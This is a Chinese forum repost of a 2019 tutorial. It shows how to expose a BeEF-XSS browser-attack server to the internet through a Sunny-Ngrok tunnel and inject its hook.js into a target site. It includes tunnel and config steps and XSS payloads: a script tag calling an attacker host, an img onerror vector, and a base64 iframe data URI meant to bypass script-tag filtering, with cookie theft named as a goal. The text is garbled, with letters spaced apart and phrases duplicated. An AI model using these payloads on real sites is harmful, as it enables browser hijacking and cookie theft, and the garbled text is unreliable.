搜索

[14338] 2019-07-12_基于Beef-XSS+Sunny-Ngrok进行内网安全测试

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2019-07-12_基于Beef-XSS+Sunny-Ngrok进行内网安全测试 基 于 B e e f - X S S + S u n n y - N g r o k 进 行 内 网 安 全 测 试 原 创   k a l i k i n g   F r e e B u f   2 0 1 9 - 0 7 - 1 2 B e e f - X S S 框 架 无 疑 是 当 今 最 强 大 的 浏 览 器 攻 击 框 架 ， 网 络 上 也 存 在 很 多 关 于 它 的 教 程 ， 但 是 大 部 分 都 是 基 于 内 框 架 无 疑 是 当 今 最 强 大 的 浏 览 器 攻 击 框 架 ， 网 络 上 也 存 在 很 多 关 于 它 的 教 程 ， 但 是 大 部 分 都 是 基 于 内 网 环 境 下 的 教 学 ， 这 就 使 得 攻 击 效 果 大 打 折 扣 ， 另 外 大 部 分 网 环 境 下 的 教 学 ， 这 就 使 得 攻 击 效 果 大 打 折 扣 ， 另 外 大 部 分 X S S 教 程 只 是 实 现 一 个 教 程 只 是 实 现 一 个 a l e r ( 1 ) 便 证 明 达 到 了 效 果 ， 便 证 明 达 到 了 效 果 ， 而 而 B e e f - X S S 要 保 证 完 整 效 果 就 要 加 载 要 保 证 完 整 效 果 就 要 加 载 h o o k . j s 文 件 ， 在 存 在 一 定 过 滤 的 情 况 下 ， 这 是 有 一 定 难 度 的 。 于 是 便 有 了 文 件 ， 在 存 在 一 定 过 滤 的 情 况 下 ， 这 是 有 一 定 难 度 的 。 于 是 便 有 了 今 天 的 文 章 ， 希 望 对 大 家 有 所 帮 助 。 今 天 的 文 章 ， 希 望 对 大 家 有 所 帮 助 。 0 x 0 0   实 验 工 具 实 验 工 具 0 x 0 1   开 通 开 通 t c p 代 理 ， 并 下 载 客 户 端 进 行 内 网 穿 透 代 理 ， 并 下 载 客 户 端 进 行 内 网 穿 透 都 是 老 司 机 注 册 这 里 就 不 说 了 ， 直 接 讲 如 何 开 通 t c p 代 理 。 点 击 管 理 面 板 左 侧 栏 里 的 隧 道 管 理 — > 开 通 隧 道 ， 点 击 右 下 角 那 个 免 费 的 点 击 开 通 ， 当 然 如 果 你 觉 得 想 要 稳 定 的 可 以 选 择 付 费 版 ： 接 下 来 我 们 要 对 隧 道 进 行 配 置 ， 选 择 t c p 协 议 ， 隧 道 名 称 和 端 口 号 自 己 填 ， 如 果 端 口 号 已 经 被 占 用 ， 点 击 确 定 后 会 有 提 示 ： k a l i   l i n u x   v 2 . 0         b e e f - x s s s u n n y - n g r o k :   h t t p : / / w w w . n g r o k . c c  
注 意 这 里 远 程 端 口 号 要 和 本 地 端 口 号 保 持 一 致 ， 正 常 情 况 下 可 以 不 用 这 么 填 ， 但 是 h o o k . j s 在 发 送 请 求 的 时 候 会 在 后 面 自 动 追 加 端 口 号 ， 造 成 无 法 成 功 请 求 ， 所 以 我 就 干 脆 设 置 成 一 样 的 了 。 下 图 这 个 c l i e n t i d 要 保 存 好 等 下 连 接 的 时 候 要 用 。 接 下 来 就 是 下 载 客 户 端 ， 进 行 连 接 了 。 在 这 个 地 址 （ h t t p : / / w w w . n g r o k . c c / d o w n l o a d . h t m l ） 下 载 相 应 的 客 户 端 版 本 。 具 体 命 令 是 ： 0 x 0 2   自 定 义 监 听 端 口 ， 开 启 自 定 义 监 听 端 口 ， 开 启 b e e f - x s s 在 启 动 b e e f - x s s 之 前 ， 我 么 们 要 修 改 下 配 置 文 件 中 的 端 口 。 配 置 文 件 位 置 ： / e t c / b e e f - x s s / c o n f i g . y a m l 。 . / s u n n y   c l i e n t i d   隧 道 i d
用 v i m 打 开 修 改 p o r t 后 面 的 端 口 数 就 好 了 ： 现 在 我 们 直 接 启 动 b e e f - x s s 就 好 了 ， 这 个 就 很 简 单 了 直 接 输 入 b e e f - x s s 回 车 ： 接 下 来 我 们 只 要 把 h o o k . j s 脚 本 想 办 法 加 载 到 目 标 网 站 就 可 以 实 现 对 浏 览 器 的 攻 击 了 ， 最 起 码 g e t 个 c o o k i e 还 是 不 成 问 题 的 。 0 x 0 3   绕 过 脚 本 过 滤 ， 实 现 基 于 绕 过 脚 本 过 滤 ， 实 现 基 于 b e e f 的 的 x s s 攻 击 攻 击
一 般 来 说 我 们 要 加 载 一 个 j s 文 件 只 需 加 入 下 边 一 行 代 码 就 可 以 ： 但 今 天 准 备 的 网 站 对 s c r i p t 的 标 签 进 行 了 过 滤 ， 不 能 实 现 直 接 注 入 ： 在 这 种 情 况 下 想 调 用 个 方 法 还 是 很 简 单 的 ， 比 如 a l e r t ( 1 ) ； 只 需 用 i m g 标 签 的 o n e r r o r 就 可 实 现 ， 代 码 如 下 ： 可 当 我 们 想 要 加 载 的 一 个 j s 文 件 时 ， 这 样 的 方 法 是 无 法 实 现 的 ， 于 是 想 到 了 利 用 i f r a m e 的 特 性 ， 来 加 密 脚 本 从 而 实 现 加 载 。 代 码 如 下 ： 执 行 成 功 ， 如 图 我 们 控 制 台 已 经 成 功 连 接 ： < s c r i p t   t y p e = " t e x t / j a v a s c r i p t "   s r c = " h t t p : / / y o u r u r l . c o m / h o o k . j s " > < / s c r i p t > < i m g   s r c = x   o n e r r o r = a l e r t ( 1 ) ;   / > < i f r a m e   s r c = " d a t a : t e x t / h t m l ; b a s e 6 4 , 这 里 加 你 的 经 过 b a s e 6 4 加 密 过 的 脚 本 代 码 " > < / i f r a m e >
至 此 ， 就 可 以 进 行 深 入 的 浏 览 器 攻 击 测 试 了 ！ * 本 文 原 创 作 者 ： 本 文 原 创 作 者 ： k a l i k i n g ， 本 文 属 于 ， 本 文 属 于 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 精 彩 推 荐 精 彩 推 荐
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理